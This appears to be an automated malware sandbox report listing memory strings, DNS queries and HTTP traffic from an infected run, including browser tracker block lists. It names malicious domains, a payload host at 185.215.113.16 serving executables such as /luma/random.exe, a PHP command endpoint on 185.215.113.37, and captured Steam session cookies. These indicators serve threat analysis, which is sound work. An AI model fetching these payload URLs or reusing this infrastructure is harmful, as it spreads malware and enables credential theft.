Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.3242551338.000002682F80B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://*.discovery.bet# equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3275031797.0000026832108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247966540.00000268302C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247966540.00000268302C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.3213139863.000002682A875000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3247966540.00000268302C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/Z equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000C.00000003.2945838714.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2897844362.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2993784315.0000000001102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: m/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/reca`" equals www.youtube.com (Youtube)
Source: file.exe, 00000000.00000003.2199513745.000000000068E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ntent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: ee8d47a049.exe, 0000000C.00000003.2883867156.00000000010D0000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883770636.00000000010C1000.00000004.00000020.00020000.00000000.sdmp, ee8d47a049.exe, 0000000C.00000003.2883437222.00000000010C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: t https://*.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=e1278a16b9320a04499a4d86; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35741Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveThu, 24 Oct 2024 07:08:19 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3289304414.000015D2F1003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3243296579.000002682F962000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3243296579.000002682F916000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: clearancek.site
Source: global traffic	DNS traffic detected: DNS query: mobbipenju.store
Source: global traffic	DNS traffic detected: DNS query: eaglepawnoy.store
Source: global traffic	DNS traffic detected: DNS query: dissapoiznw.store
Source: global traffic	DNS traffic detected: DNS query: studennotediw.store
Source: global traffic	DNS traffic detected: DNS query: bathdoomgaz.store
Source: global traffic	DNS traffic detected: DNS query: spirittunek.store
Source: global traffic	DNS traffic detected: DNS query: licendfilteo.site
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: sergei-esenin.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sergei-esenin.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 07:07:12 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w28vxge5HmriY5JKKQzDt9F5iQCvCp7wdZ%2F5N%2FMVd3cg2%2BOdfh2hp1h%2B8%2FQYxk7AZKnb37myOSzYh5KCR1S2zFa5tJFHDvmIafKXRDk9zChnBrF87Ataivb2TvGwf563R7Ddvw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7820eb6c216c2c-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 07:08:20 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3YWY1zzJ18K%2BdL%2F5kRnKhVgSDi%2BOK%2F%2Fli7BiduDvg0ywzht1NYu8%2BTcB1vCFESfBvXsQmNJ%2FrfOsw%2F7RyhjPJWJWuyEgH8bJX1UkQW28QUNX8OMs%2B5yQQdDYZ8KYj%2FEWe%2BCdw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7822915ac2e905-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 24 Oct 2024 07:09:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TY7v6Ex77IwDDg1YNslNs2%2FospkYEu1A%2FRY8h8b3e%2B4rOLCOjQh9UOH%2BT8LVsTFQ4GrWx4kbi8HjNUDsQMkP%2FQ92tzzQPy6lcRmZCSY897%2BDFdpdGbMSNeoPa%2B7i52rLm3ScwA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d7823be88da6c44-DFW

Source: ee8d47a049.exe, 0000000E.00000002.3053059022.0000000001177000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: ee8d47a049.exe, 0000000C.00000003.3085730532.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: ee8d47a049.exe, 0000000C.00000003.3085730532.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/4
Source: ee8d47a049.exe, 0000000C.00000003.3085730532.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/D
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe6139ded
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeJU
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: ee8d47a049.exe, 0000000C.00000003.3086208554.00000000057F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeXU
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exe$
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/test/num.exeJ
Source: skotes.exe, 0000000A.00000002.3448009967.00000000011D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: ee8d47a049.exe, 0000000C.00000003.3085730532.0000000001109000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/x
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.000000000109E000.00000004.00000020.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000002.2997022588.000000000072E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/E
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/Y
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp, 36c3130eac.exe, 0000000D.00000002.2997022588.000000000074C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: PJGT15Z82T6C2GQS.exe, 00000004.00000002.2518168701.00000000010F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4H
Source: 36c3130eac.exe, 0000000D.00000002.2997022588.000000000078B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpD
